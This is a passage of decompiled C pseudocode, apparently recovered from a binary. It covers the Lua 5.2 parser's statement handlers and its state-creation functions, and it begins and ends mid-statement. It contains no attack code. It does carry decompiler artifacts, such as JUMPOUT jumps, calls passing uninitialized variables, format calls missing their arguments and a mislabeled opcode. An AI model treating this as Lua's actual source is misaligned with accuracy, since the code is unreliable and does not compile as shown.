lh->v.u.ind.idx = v4; } } lh = lh->prev; } while ( lh ); if ( v5 ) { luaK_codeABC(v3, (OpCode)(((v->k == 7) - 1) & 5), v4, *(_DWORD *)&v->u.ind.idx, 0); luaK_reserveregs(v3, 1); } } } //----- (005BC570) -------------------------------------------------------- void __cdecl assignment(LexState *ls, LHS_assign *lh, int nvars) { LHS_assign *v3; // ebx@1 char *v4; // eax@1 signed int v5; // eax@1 int v6; // eax@3 int v7; // eax@11 FuncState *v8; // ebp@14 int nexps; // [sp+4h] [bp-3Ch]@11 expdesc e; // [sp+8h] [bp-38h]@11 LHS_assign nv; // [sp+20h] [bp-20h]@4 expdesc *lha; // [sp+48h] [bp+8h]@1 v3 = lh; v4 = (char *)&lh->v; lha = (expdesc *)v4; v5 = *(_DWORD *)v4; if ( v5 < 7 || v5 > 9 ) luaX_syntaxerror(ls, "syntax error"); v6 = ls->t.token; if ( v6 == 44 ) { luaX_next(ls); nv.prev = v3; suffixedexp(ls, &nv.v); if ( nv.v.k != 9 ) check_conflict(ls, v3, &nv.v); if ( nvars + ls->L->nCcalls > 200 ) errorlimit(ls->fs, 200, "C levels"); assignment(ls, &nv, nvars + 1); LABEL_14: v8 = ls->fs; *(_DWORD *)&e.u.ind.idx = v8->freereg - 1; e.t = -1; e.f = -1; e.k = 6; luaK_storevar(v8, lha, &e); return; } if ( v6 != 61 ) JUMPOUT(error_expected); luaX_next(ls); v7 = explist(ls, &e); nexps = v7; if ( v7 != nvars ) { adjust_assign(ls, nvars, v7, &e); if ( nexps > nvars ) ls->fs->freereg += nvars - nexps; goto LABEL_14; } luaK_setoneret(ls->fs, &e); luaK_storevar(ls->fs, lha, &e); } //----- (005BC6D0) -------------------------------------------------------- void __usercall gotostat(LexState *ls, int pc) { LexState *v2; // ebx@1 int v3; // edi@1 TString *v4; // esi@4 TString *v5; // eax@4 int v6; // eax@6 v2 = ls; v3 = ls->linenumber; if ( ls->t.token == 266 ) { luaX_next(ls); if ( v2->t.token != 288 ) JUMPOUT(error_expected); v4 = (TString *)LODWORD(v2->t.seminfo.r); luaX_next(v2); v5 = v4; } else { luaX_next(ls); v5 = luaS_new(v2->L, "break"); } v6 = newlabelentry(v2, &v2->dyd->gt, v5, v3, pc); findlabel(v2, v6); } //----- (005BC750) -------------------------------------------------------- void __usercall checkrepeated(Labellist *ll, FuncState *fs, TString *label) { int v3; // esi@1 int v4; // ebx@2 const char *v5; // eax@6 LexState *v6; // ecx@7 v3 = fs->bl->firstlabel; if ( v3 < ll->n ) { v4 = v3; do { if ( luaS_eqstr(label, ll->arr[v4].name) ) { v5 = luaO_pushfstring(fs->ls->L, "label '%s' already defined on line %d"); v6 = fs->ls; v6->t.token = 0; luaX_syntaxerror(v6, v5); } ++v3; ++v4; } while ( v3 < ll->n ); } } //----- (005BC7D0) -------------------------------------------------------- void __usercall labelstat(LexState *ls, TString *label, int line) { LexState *v3; // ebx@1 FuncState *v4; // ebp@1 Labellist *v5; // esi@1 int v6; // edi@3 int v7; // eax@4 FuncState *v8; // [sp+0h] [bp-18h]@0 TString *v9; // [sp+4h] [bp-14h]@0 v3 = ls; v4 = ls->fs; v5 = &ls->dyd->label; checkrepeated(v8, &ls->dyd->label, v9); if ( v3->t.token != 285 ) JUMPOUT(error_expected); luaX_next(v3); v6 = newlabelentry(v3, v5, label, line, v4->pc); while ( 1 ) { v7 = v3->t.token; if ( v7 != 59 ) { if ( v7 != 285 ) break; } statement(v3); } if ( block_follow(v3, 0) ) v5->arr[v6].nactvar = v4->bl->nactvar; findgotos(v3, &v5->arr[v6]); } //----- (005BC880) -------------------------------------------------------- void __usercall whilestat(LexState *ls, int line) { LexState *v2; // esi@1 FuncState *v3; // edi@1 int v4; // ebp@1 int v5; // eax@5 const char *v6; // eax@10 BlockCnt *v7; // [sp+Ch] [bp-24h]@3 __int16 v8; // [sp+10h] [bp-20h]@3 __int16 v9; // [sp+12h] [bp-1Eh]@3 char v10; // [sp+14h] [bp-1Ch]@3 char v11; // [sp+15h] [bp-1Bh]@3 char v12; // [sp+16h] [bp-1Ah]@3 expdesc v; // [sp+18h] [bp-18h]@1 v2 = ls; v3 = ls->fs; luaX_next(ls); v4 = luaK_getlabel(v3); subexpr(v2, &v, 0); if ( v.k == 1 ) v.k = 3; luaK_goiftrue(v2->fs, &v); v12 = 1; v10 = v3->nactvar; v8 = LOWORD(v3->ls->dyd->label.n); v9 = LOWORD(v3->ls->dyd->gt.n); v11 = 0; v7 = v3->bl; v3->bl = (BlockCnt *)&v7; if ( v2->t.token != 259 ) JUMPOUT(error_expected); luaX_next(v2); block(v2); v5 = luaK_jump(v3); luaK_patchlist(v3, v5, v4); if ( v2->t.token != 262 ) { if ( line == v2->linenumber ) JUMPOUT(error_expected); luaX_token2str(v2, 278); luaX_token2str(v2, 262); v6 = luaO_pushfstring(v2->L, "%s expected (to close %s at line %d)"); luaX_syntaxerror(v2, v6); } luaX_next(v2); leaveblock(v3); luaK_patchtohere(v3, v.f); } //----- (005BC9C0) -------------------------------------------------------- void __usercall repeatstat(LexState *ls, int line) { LexState *v2; // esi@1 FuncState *v3; // edi@1 int v4; // eax@1 int v5; // ebp@1 int v6; // esi@4 const char *v7; // eax@10 BlockCnt bl2; // [sp+Ch] [bp-30h]@1 BlockCnt bl1; // [sp+18h] [bp-24h]@1 expdesc v; // [sp+24h] [bp-18h]@2 v2 = ls; v3 = ls->fs; v4 = luaK_getlabel(ls->fs); bl1.isloop = 1; v5 = v4; bl1.nactvar = v3->nactvar; bl1.firstlabel = LOWORD(v3->ls->dyd->label.n); bl1.firstgoto = LOWORD(v3->ls->dyd->gt.n); bl1.upval = 0; bl1.previous = v3->bl; v3->bl = &bl1; bl2.isloop = 0; bl2.nactvar = v3->nactvar; bl2.firstlabel = LOWORD(v3->ls->dyd->label.n); bl2.firstgoto = LOWORD(v3->ls->dyd->gt.n); bl2.upval = 0; bl2.previous = v3->bl; v3->bl = &bl2; luaX_next(v2); statlist(v2); if ( v2->t.token != 277 ) { if ( line == v2->linenumber ) JUMPOUT(error_expected); luaX_token2str(v2, 273); luaX_token2str(v2, 277); v7 = luaO_pushfstring(v2->L, "%s expected (to close %s at line %d)"); luaX_syntaxerror(v2, v7); } luaX_next(v2); subexpr(v2, &v, 0); if ( v.k == 1 ) v.k = 3; luaK_goiftrue(v2->fs, &v); v6 = v.f; if ( bl2.upval ) luaK_patchclose(v3, v.f, (unsigned __int8)bl2.nactvar); leaveblock(v3); luaK_patchlist(v3, v6, v5); leaveblock(v3); } //----- (005BCB30) -------------------------------------------------------- void __usercall forbody(LexState *ls, int base, int line, int nvars, int isnum) { LexState *v5; // esi@1 FuncState *v6; // edi@1 signed int v7; // eax@1 int v8; // ecx@2 int v9; // eax@6 int v10; // eax@9 int prep; // [sp+10h] [bp-10h]@8 BlockCnt *v12; // [sp+14h] [bp-Ch]@8 __int16 v13; // [sp+18h] [bp-8h]@8 __int16 v14; // [sp+1Ah] [bp-6h]@8 char v15; // [sp+1Ch] [bp-4h]@8 char v16; // [sp+1Dh] [bp-3h]@8 char v17; // [sp+1Eh] [bp-2h]@8 v5 = ls; v6 = ls->fs; v7 = 3; v6->nactvar += 3; do { v8 = v6->nactvar - v7--; v6->f->locvars[v6->ls->dyd->actvar.arr[v6->firstlocal + v8].idx].startpc = v6->pc; } while ( v7 ); if ( v5->t.token != 259 ) JUMPOUT(error_expected); luaX_next(v5); if ( isnum ) v9 = luaK_codeABx(v6, (OpCode)33, base, 0x1FFFEu); else v9 = luaK_jump(v6); v17 = 0; prep = v9; v15 = v6->nactvar; v13 = LOWORD(v6->ls->dyd->label.n); v14 = LOWORD(v6->ls->dyd->gt.n); v16 = 0; v12 = v6->bl; v6->bl = (BlockCnt *)&v12; adjustlocalvars(v5, nvars); luaK_reserveregs(v6, nvars); block(v5); leaveblock(v6); luaK_patchtohere(v6, prep); if ( isnum ) { v10 = luaK_codeABx(v6, (OpCode)32, base, 0x1FFFEu); } else { luaK_codeABC(v6, (OpCode)34, base, 0, nvars); luaK_fixline(v6, line); v10 = luaK_codeABx(v6, OP_REPLY|0x20, base + 2, 0x1FFFEu); } luaK_patchlist(v6, v10, prep + 1); luaK_fixline(v6, line); } //----- (005BCC90) -------------------------------------------------------- void __usercall fornum(LexState *ls, TString *varname, int line) { LexState *v3; // ebx@1 FuncState *v4; // esi@1 int v5; // edi@1 TString *v6; // eax@1 TString *v7; // eax@1 TString *v8; // eax@1 int v9; // eax@7 expdesc v; // [sp+14h] [bp-18h]@3 v3 = ls; v4 = ls->fs; v5 = v4->freereg; v6 = luaX_newstring(ls, "(for index)", 0xBu); new_localvar(v3, v6); v7 = luaX_newstring(v3, "(for limit)", 0xBu); new_localvar(v3, v7); v8 = luaX_newstring(v3, "(for step)", 0xAu); new_localvar(v3, v8); new_localvar(v3, varname); if ( v3->t.token != 61 ) JUMPOUT(error_expected); luaX_next(v3); subexpr(v3, &v, 0); luaK_exp2nextreg(v3->fs, &v); if ( v3->t.token != 44 ) JUMPOUT(error_expected); luaX_next(v3); subexpr(v3, &v, 0); luaK_exp2nextreg(v3->fs, &v); if ( v3->t.token == 44 ) { luaX_next(v3); subexpr(v3, &v, 0); luaK_exp2nextreg(v3->fs, &v); } else { v9 = luaK_numberK(v4, 1.0); luaK_codek(v4, v4->freereg, v9); luaK_reserveregs(v4, 1); } forbody(v3, v5, line, 1, 1); } //----- (005BCDD0) -------------------------------------------------------- void __usercall forlist(LexState *ls, TString *indexname) { LexState *v2; // ebx@1 signed int v3; // edi@1 TString *v4; // eax@1 TString *v5; // eax@1 TString *v6; // eax@1 TString *v7; // esi@4 int v8; // ebp@8 int v9; // eax@8 FuncState *v10; // [sp+14h] [bp-20h]@1 int base; // [sp+18h] [bp-1Ch]@1 expdesc e; // [sp+1Ch] [bp-18h]@8 v2 = ls; v10 = ls->fs; v3 = 4; base = v10->freereg; v4 = luaX_newstring(ls, "(for generator)", 0xFu); new_localvar(v2, v4); v5 = luaX_newstring(v2, "(for state)", 0xBu); new_localvar(v2, v5); v6 = luaX_newstring(v2, "(for control)", 0xDu); new_localvar(v2, v6); new_localvar(v2, indexname); while ( v2->t.token == 44 ) { luaX_next(v2); if ( v2->t.token != 288 ) JUMPOUT(error_expected); v7 = (TString *)LODWORD(v2->t.seminfo.r); luaX_next(v2); new_localvar(v2, v7); ++v3; } if ( v2->t.token != 268 ) JUMPOUT(error_expected); luaX_next(v2); v8 = v2->linenumber; v9 = explist(v2, &e); adjust_assign(v2, 3, v9, &e); luaK_checkstack(v10, 3); forbody(v2, base, v8, v3 - 3, 0); } //----- (005BCEE0) -------------------------------------------------------- void __usercall forstat(LexState *ls, int line) { LexState *v2; // esi@1 FuncState *v3; // edi@1 TString *v4; // ebx@3 int v5; // eax@3 const char *v6; // eax@14 BlockCnt *v7; // [sp+Ch] [bp-Ch]@1 __int16 v8; // [sp+10h] [bp-8h]@1 __int16 v9; // [sp+12h] [bp-6h]@1 char v10; // [sp+14h] [bp-4h]@1 char v11; // [sp+15h] [bp-3h]@1 char v12; // [sp+16h] [bp-2h]@1 v12 = 1; v2 = ls; v3 = ls->fs; v10 = v3->nactvar; v8 = LOWORD(v3->ls->dyd->label.n); v9 = LOWORD(v3->ls->dyd->gt.n); v11 = 0; v7 = v3->bl; v3->bl = (BlockCnt *)&v7; luaX_next(ls); if ( v2->t.token != 288 ) JUMPOUT(error_expected); v4 = (TString *)LODWORD(v2->t.seminfo.r); luaX_next(v2); v5 = v2->t.token; if ( v5 != 44 ) { if ( v5 == 61 ) { fornum(v2, v4, line); goto LABEL_9; } if ( v5 != 268 ) luaX_syntaxerror(v2, "'=' or 'in' expected"); } forlist(v2, v4); LABEL_9: if ( v2->t.token != 262 ) { if ( line == v2->linenumber ) JUMPOUT(error_expected); luaX_token2str(v2, 264); luaX_token2str(v2, 262); v6 = luaO_pushfstring(v2->L, "%s expected (to close %s at line %d)"); luaX_syntaxerror(v2, v6); } luaX_next(v2); leaveblock(v3); } //----- (005BD000) -------------------------------------------------------- void __usercall test_then_block(LexState *ls, int *escapelist) { LexState *v2; // esi@1 FuncState *v3; // edi@1 int v4; // eax@3 __int16 v5; // ax@5 int v6; // ebx@5 int v7; // eax@7 int v8; // esi@13 int v9; // eax@15 BlockCnt *v10; // [sp+Ch] [bp-24h]@5 __int16 v11; // [sp+10h] [bp-20h]@5 __int16 v12; // [sp+12h] [bp-1Eh]@5 char v13; // [sp+14h] [bp-1Ch]@5 char v14; // [sp+15h] [bp-1Bh]@5 char v15; // [sp+16h] [bp-1Ah]@5 char v; // [sp+18h] [bp-18h]@1 int pc; // [sp+28h] [bp-8h]@6 int list; // [sp+2Ch] [bp-4h]@5 v2 = ls; v3 = ls->fs; luaX_next(ls); subexpr(v2, (expdesc *)&v, 0); if ( v2->t.token != 275 ) JUMPOUT(error_expected); luaX_next(v2); v4 = v2->t.token; if ( v4 == 266 || v4 == 258 ) { luaK_goiffalse(v2->fs, (expdesc *)&v); v15 = 0; v13 = v3->nactvar; v11 = LOWORD(v3->ls->dyd->label.n); v12 = LOWORD(v3->ls->dyd->gt.n); v14 = 0; v10 = v3->bl; v3->bl = (BlockCnt *)&v10; gotostat(v2, pc); while ( 1 ) { v7 = v2->t.token; if ( v7 != 59 ) { if ( v7 != 285 ) break; } statement(v2); } if ( block_follow(v2, 0) ) { leaveblock(v3); return; } v6 = luaK_jump(v3); } else { luaK_goiftrue(v2->fs, (expdesc *)&v); v15 = 0; v13 = v3->nactvar; v11 = LOWORD(v3->ls->dyd->label.n); v5 = LOWORD(v3->ls->dyd->gt.n); v14 = 0; v12 = v5; v10 = v3->bl; v3->bl = (BlockCnt *)&v10; v6 = list; } statlist(v2); leaveblock(v3); v8 = v2->t.token; if ( v8 == 260 || v8 == 261 ) { v9 = luaK_jump(v3); luaK_concat(v3, escapelist, v9); } luaK_patchtohere(v3, v6); } //----- (005BD190) -------------------------------------------------------- void __usercall ifstat(LexState *ls, int line) { LexState *v2; // esi@1 FuncState *v3; // ebp@1 const char *v4; // eax@10 int escapelist; // [sp+8h] [bp-4h]@1 v2 = ls; v3 = ls->fs; escapelist = -1; test_then_block(ls, &escapelist); while ( v2->t.token == 261 ) test_then_block(v2, &escapelist); if ( v2->t.token == 260 ) { luaX_next(v2); block(v2); } if ( v2->t.token != 262 ) { if ( line == v2->linenumber ) JUMPOUT(error_expected); luaX_token2str(v2, 267); luaX_token2str(v2, 262); v4 = luaO_pushfstring(v2->L, "%s expected (to close %s at line %d)"); luaX_syntaxerror(v2, v4); } luaX_next(v2); luaK_patchtohere(v3, escapelist); } //----- (005BD260) -------------------------------------------------------- void __usercall localfunc(LexState *ls) { LexState *v1; // esi@1 FuncState *v2; // ebp@1 TString *v3; // edi@3 FuncState *v4; // eax@3 int v5; // edx@3 char v6; // cl@3 char b; // [sp+8h] [bp-18h]@3 int v8; // [sp+10h] [bp-10h]@3 v1 = ls; v2 = ls->fs; if ( ls->t.token != 288 ) JUMPOUT(error_expected); v3 = (TString *)LODWORD(ls->t.seminfo.r); luaX_next(ls); new_localvar(v1, v3); v4 = v1->fs; v5 = v4->firstlocal; v6 = v4->nactvar + 1; v4->nactvar = v6; v4->f->locvars[*(&v4->ls->dyd->actvar.arr[(unsigned __int8)v6 - 1].idx + v5)].startpc = v4->pc; body(v1, (expdesc *)&b, 0, v1->linenumber); v2->f->locvars[v2->ls->dyd->actvar.arr[v8 + v2->firstlocal].idx].startpc = v2->pc; } //----- (005BD300) -------------------------------------------------------- void __usercall localstat(LexState *ls) { LexState *v1; // esi@1 int v2; // ebp@1 TString *v3; // edi@3 int v4; // eax@7 expdesc e; // [sp+10h] [bp-18h]@7 v1 = ls; v2 = 0; while ( 1 ) { if ( v1->t.token != 288 ) JUMPOUT(error_expected); v3 = (TString *)LODWORD(v1->t.seminfo.r); luaX_next(v1); new_localvar(v1, v3); ++v2; if ( v1->t.token != 44 ) break; luaX_next(v1); } if ( v1->t.token == 61 ) { luaX_next(v1); v4 = explist(v1, &e); } else { v4 = 0; e.k = 0; } adjust_assign(v1, v2, v4, &e); adjustlocalvars(v1, v2); } //----- (005BD390) -------------------------------------------------------- int __usercall funcname(LexState *ls, expdesc *v) { expdesc *v2; // ebx@1 int result; // eax@4 v2 = v; singlevar(ls, v); while ( ls->t.token == 46 ) fieldsel(ls, v2); if ( ls->t.token == 58 ) { fieldsel(ls, v2); result = 1; } else { result = 0; } return result; } //----- (005BD3F0) -------------------------------------------------------- void __usercall funcstat(LexState *ls, int line) { LexState *v2; // esi@1 int v3; // eax@1 expdesc b; // [sp+8h] [bp-30h]@1 expdesc v; // [sp+20h] [bp-18h]@1 v2 = ls; luaX_next(ls); v3 = funcname(v2, &v); body(v2, &b, v3, line); luaK_storevar(v2->fs, &v, &b); luaK_fixline(v2->fs, line); } //----- (005BD440) -------------------------------------------------------- void __usercall exprstat(LexState *ls) { FuncState *v1; // ebx@1 int v2; // eax@1 int v3; // eax@5 int v; // [sp+8h] [bp-20h]@6 int v5; // [sp+10h] [bp-18h]@1 int v6; // [sp+18h] [bp-10h]@5 v1 = ls->fs; suffixedexp(ls, (expdesc *)&v5); v2 = ls->t.token; if ( v2 == 61 || v2 == 44 ) { v = 0; assignment(ls, (LHS_assign *)&v, 1); } else { if ( v5 != 12 ) luaX_syntaxerror(ls, "syntax error"); v3 = (int)&v1->f->code[v6]; *(_DWORD *)v3 = *(_DWORD *)v3 & 0xFF807FFF | 0x4000; } } //----- (005BD4C0) -------------------------------------------------------- void __usercall retstat(LexState *ls) { LexState *v1; // esi@1 FuncState *v2; // ebx@1 signed int v3; // edi@3 int v4; // eax@6 int v5; // eax@10 int e; // [sp+Ch] [bp-18h]@3 int v7; // [sp+14h] [bp-10h]@10 v1 = ls; v2 = ls->fs; if ( block_follow(ls, 1) || v1->t.token == 59 ) { v3 = 0; v4 = 0; } else { v3 = explist(v1, (expdesc *)&e); if ( e == 12 || e == 13 ) { luaK_setreturns(v2, (expdesc *)&e, -1); if ( e == 12 && v3 == 1 ) { v5 = (int)&v2->f->code[v7]; *(_DWORD *)v5 = *(_DWORD *)v5 & 0xFFFFFFDE | 0x1E; } v4 = v2->nactvar; v3 = -1; } else { if ( v3 == 1 ) { v4 = luaK_exp2anyreg(v2, (expdesc *)&e); } else { luaK_exp2nextreg(v2, (expdesc *)&e); v4 = v2->nactvar; } } } luaK_ret(v2, v4, v3); if ( v1->t.token == 59 ) luaX_next(v1); } //----- (005BD590) -------------------------------------------------------- void __cdecl statement(LexState *ls) { lua_State *v1; // eax@1 int v2; // ebx@1 TString *v3; // eax@14 int v4; // eax@16 v1 = ls->L; v2 = ls->linenumber; ++v1->nCcalls; if ( v1->nCcalls > 0xC8u ) errorlimit(ls->fs, 200, "C levels"); switch ( ls->t.token ) { case 0x3B: luaX_next(ls); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; case 0x10B: ifstat(ls, v2); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; case 0x116: whilestat(ls, v2); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; case 0x103: luaX_next(ls); block(ls); check_match(ls, 262, 259, v2); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; case 0x108: forstat(ls, v2); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; case 0x111: repeatstat(ls, v2); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; case 0x109: funcstat(ls, v2); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; case 0x10D: luaX_next(ls); if ( testnext(ls, 265) ) { localfunc(ls); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; } else { localstat(ls); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; } break; case 0x11D: luaX_next(ls); v3 = str_checkname(ls); labelstat(ls, v3, v2); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; case 0x112: luaX_next(ls); retstat(ls); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; case 0x102: case 0x10A: v4 = luaK_jump(ls->fs); gotostat(ls, v4); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; default: exprstat(ls); ls->fs->freereg = ls->fs->nactvar; --ls->L->nCcalls; break; } } //----- (005BD8B0) -------------------------------------------------------- void __cdecl statlist(LexState *ls) { int v1; // eax@1 while ( 2 ) { v1 = ls->t.token; switch ( v1 ) { default: if ( v1 != 274 ) { statement(ls); continue; } statement(ls); break; case 260: case 261: case 262: case 277: case 286: return; } break; } } //----- (005BD920) -------------------------------------------------------- void __usercall mainfunc(LexState *ls, FuncState *fs) { FuncState *v2; // esi@1 Proto *v3; // ecx@1 TString *v4; // ST08_4@1 char v5; // [sp+4h] [bp-24h]@1 int v; // [sp+10h] [bp-18h]@1 int v7; // [sp+18h] [bp-10h]@1 int v8; // [sp+20h] [bp-8h]@1 int v9; // [sp+24h] [bp-4h]@1 v2 = fs; open_func(ls, fs, (BlockCnt *)&v5); v3 = v2->f; v8 = -1; v9 = -1; v3->is_vararg = 1; v4 = ls->envn; v = 7; v7 = 0; newupvalue(v2, v4, (expdesc *)&v); luaX_next(ls); statlist(ls); if ( ls->t.token != 286 ) JUMPOUT(error_expected); close_func(ls); } //----- (005BD9A0) -------------------------------------------------------- Closure *__cdecl luaY_parser(lua_State *L, Zio *z, Mbuffer *buff, Dyndata *dyd, const char *name, int firstchar) { Closure *v6; // ebx@1 lua_TValue *v7; // eax@1 lua_TValue *v8; // ecx@1 lua_TValue *v9; // eax@1 Proto *v10; // eax@3 Proto *v11; // ecx@3 FuncState funcstate; // [sp+Ch] [bp-84h]@3 char lexstate; // [sp+40h] [bp-50h]@3 Mbuffer *v15; // [sp+7Ch] [bp-14h]@3 Dyndata *v16; // [sp+80h] [bp-10h]@3 v6 = luaF_newLclosure(L, 1); v7 = L->top; v7->u.i.v__.gc = (GCObject *)v6; v7->u.i.tt__ = 2146936134; v8 = L->stack_last; v9 = L->top + 1; L->top = v9; if ( (signed int)(((char *)v8 - (char *)v9) & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); v10 = luaF_newproto(L); v6->c.f = (int (__cdecl *)(lua_State *))v10; funcstate.f = v10; v10->source = luaS_new(L, name); v11 = funcstate.f; v16 = dyd; dyd->label.n = 0; dyd->gt.n = 0; dyd->actvar.n = 0; v15 = buff; luaX_setinput(L, (LexState *)&lexstate, z, v11->source, firstchar); mainfunc((LexState *)&lexstate, &funcstate); return v6; } //----- (005BDA80) -------------------------------------------------------- unsigned int __cdecl makeseed(lua_State *L) { int h; // [sp+0h] [bp-18h]@1 lua_State *buff; // [sp+4h] [bp-14h]@1 int *v4; // [sp+8h] [bp-10h]@1 int v5; // [sp+Ch] [bp-Ch]@1 lua_State *(__cdecl *v6)(void *(__cdecl *)(void *, void *, unsigned int, unsigned int), void *); // [sp+10h] [bp-8h]@1 unsigned int v7; // [sp+14h] [bp-4h]@1 v7 = (unsigned int)&h ^ __security_cookie; h = time(0); buff = L; v4 = &h; v5 = (int)&luaO_nilobject_; v6 = lua_newstate; return luaS_hash((const char *)&buff, 0x10u, h); } //----- (005BDAE0) -------------------------------------------------------- void __cdecl luaE_setdebt(global_State *g, int debt) { g->totalbytes += g->GCdebt - debt; g->GCdebt = debt; } //----- (005BDB00) -------------------------------------------------------- CallInfo *__cdecl luaE_extendCI(lua_State *L) { CallInfo *result; // eax@1 result = (CallInfo *)luaM_realloc_(L, 0, 0, 0x28u); L->ci->next = result; result->previous = L->ci; result->next = 0; return result; } //----- (005BDB30) -------------------------------------------------------- void __cdecl luaE_freeCI(lua_State *L) { CallInfo *v1; // eax@1 CallInfo *v2; // esi@1 void *i; // eax@1 v1 = L->ci; v2 = v1->next; v1->next = 0; for ( i = v2; v2; i = v2 ) { v2 = v2->next; luaM_realloc_(L, i, 0x28u, 0); } } //----- (005BDB70) -------------------------------------------------------- void __usercall stack_init(lua_State *L1, lua_State *L) { signed int v2; // eax@1 lua_TValue *v3; // eax@3 int v4; // edx@3 lua_TValue *v5; // ecx@3 L1->stack = (lua_TValue *)luaM_realloc_(L, 0, 0, 0x140u); L1->stacksize = 40; v2 = 0; do { L1->stack[v2].u.i.tt__ = 2146936064; ++v2; } while ( v2 < 40 ); v3 = L1->stack; v4 = L1->stacksize; L1->top = v3; L1->stack_last = &v3[v4 - 5]; L1->base_ci.previous = 0; L1->base_ci.next = 0; L1->base_ci.callstatus = 0; L1->base_ci.func = L1->top; L1->top->u.i.tt__ = 2146936064; v5 = L1->top + 1; L1->top = v5; L1->base_ci.top = v5 + 20; L1->ci = &L1->base_ci; } //----- (005BDBF0) -------------------------------------------------------- void __usercall init_registry(lua_State *L, global_State *g) { GCObject *v2; // edi@1 lua_State *v3; // [sp+0h] [bp-10h]@0 void *mt; // [sp+8h] [bp-8h]@1 int v5; // [sp+Ch] [bp-4h]@1 v2 = (GCObject *)luaH_new(v3); g->l_registry.u.i.v__.gc = v2; g->l_registry.u.i.tt__ = 2146936133; luaH_resize(L, (Table *)v2, 2, 0); mt = L; v5 = 2146936136; luaH_setint(L, (Table *)v2, 1, (lua_TValue *)&mt); mt = luaH_new(L); v5 = 2146936133; luaH_setint(L, (Table *)v2, 2, (lua_TValue *)&mt); } //----- (005BDC60) -------------------------------------------------------- void __cdecl f_luaopen(lua_State *L, void *ud) { global_State *v2; // ebx@1 TString *v3; // eax@1 v2 = L->l_G; stack_init(L, L); init_registry(L, v2); luaS_resize(L, 32); luaT_init(L); luaX_init(L); v3 = luaS_newlstr(L, "not enough memory", 0x11u); v2->memerrmsg = v3; BYTE5(v3->dummy.u) |= 0x20u; v2->gcrunning = 1; } //----- (005BDCB0) -------------------------------------------------------- void __usercall close_state(lua_State *L) { global_State *v1; // edi@1 v1 = L->l_G; luaF_close(L, L->stack); luaC_freeallobjects(L); luaM_realloc_(L, L->l_G->strt.hash, 4 * L->l_G->strt.size, 0); v1->buff.buffer = (char *)luaM_realloc_(L, v1->buff.buffer, v1->buff.buffsize, 0); v1->buff.buffsize = 0; if ( L->stack ) { L->ci = &L->base_ci; luaE_freeCI(L); luaM_realloc_(L, L->stack, 8 * L->stacksize, 0); } v1->frealloc(v1->ud, L, 384, 0); } //----- (005BDD40) -------------------------------------------------------- lua_State *__cdecl lua_newthread(lua_State *L) { GCObject *v1; // esi@3 lua_TValue *v2; // eax@3 global_State *v3; // ecx@3 int v4; // eax@3 if ( L->l_G->GCdebt > 0 ) luaC_step(L); v1 = luaC_newobj(L, 8, 0x70u, 0, 0); v2 = L->top; v2->u.i.v__.gc = v1; v2->u.i.tt__ = 2146936136; v3 = L->l_G; ++L->top; v1->p.sizelineinfo = 0; LOBYTE(v1->p.sizeupvalues) = 0; v1->p.sizek = 0; BYTE1(v1->p.sizeupvalues) = 1; v1->p.sizecode = 0; LOWORD(v1->p.source) = 1; v1->ts.tsv.len = (unsigned int)v3; v1->h.sizearray = 0; v1->u.uv.len = 0; v1->p.cache = 0; v1->p.linedefined = 0; HIWORD(v1->p.source) = 0; v1->p.sizep = 0; *(&v1->gch.marked + 1) = 0; v1->p.lastlinedefined = 0; LOBYTE(v1->p.sizeupvalues) = L->hookmask; v4 = L->basehookcount; v1->p.sizek = v4; v1->p.sizelineinfo = (int)L->hook; v1->p.sizecode = v4; stack_init((lua_State *)v1, L); return (lua_State *)v1; } //----- (005BDDE0) -------------------------------------------------------- void __cdecl luaE_freethread(lua_State *L, lua_State *L1) { luaF_close(L1, L1->stack); if ( L1->stack ) { L1->ci = &L1->base_ci; luaE_freeCI(L1); luaM_realloc_(L1, L1->stack, 8 * L1->stacksize, 0); } luaM_realloc_(L, L1, 0x70u, 0); } //----- (005BDE30) -------------------------------------------------------- lua_State *__cdecl lua_newstate(void *(__cdecl *f)(void *, void *, unsigned int, unsigned int), void *ud) { void *v2; // eax@1 void *v3; // esi@1 lua_State *result; // eax@2 v2 = f(ud, 0, 8u, 384u); v3 = v2; if ( v2 ) { *(_DWORD *)v2 = 0; *((_BYTE *)v2 + 4) = 8; *((_BYTE *)v2 + 164) = 33; *((_BYTE *)v2 + 5) = 1; *((_BYTE *)v2 + 166) = 0; *((_BYTE *)v2 + 41) = 1; *((_WORD *)v2 + 18) = 1; *((_DWORD *)v2 + 3) = (char *)v2 + 112; *((_DWORD *)v2 + 7) = 0; *((_DWORD *)v2 + 4) = 0; *((_DWORD *)v2 + 8) = 0; *((_DWORD *)v2 + 16) = 0; *((_WORD *)v2 + 19) = 0; *((_DWORD *)v2 + 13) = 0; *((_BYTE *)v2 + 40) = 0; *((_DWORD *)v2 + 11) = 0; *((_DWORD *)v2 + 12) = 0; *((_DWORD *)v2 + 14) = 0; *((_BYTE *)v2 + 6) = 0; *((_DWORD *)v2 + 17) = 0; *((_DWORD *)v2 + 28) = f; *((_DWORD *)v2 + 29) = ud; *((_DWORD *)v2 + 67) = v2; *((_DWORD *)v2 + 40) = makeseed((lua_State *)v2); *((_DWORD *)v3 + 58) = (char *)v3 + 216; *((_DWORD *)v3 + 59) = (char *)v3 + 216; *((_BYTE *)v3 + 167) = 0; *((_DWORD *)v3 + 33) = 0; *((_DWORD *)v3 + 36) = 0; *((_DWORD *)v3 + 35) = 0; *((_DWORD *)v3 + 34) = 0; *((_DWORD *)v3 + 39) = 2146936064; *((_DWORD *)v3 + 60) = 0; *((_DWORD *)v3 + 62) = 0; *((_DWORD *)v3 + 66) = 0; *((_DWORD *)v3 + 68) = lua_version(0); *((_BYTE *)v3 + 165) = 5; *((_DWORD *)v3 + 43) = 0; *((_DWORD *)v3 + 44) = 0; *((_DWORD *)v3 + 52) = 0; *((_DWORD *)v3 + 46) = 0; *((_DWORD *)v3 + 45) 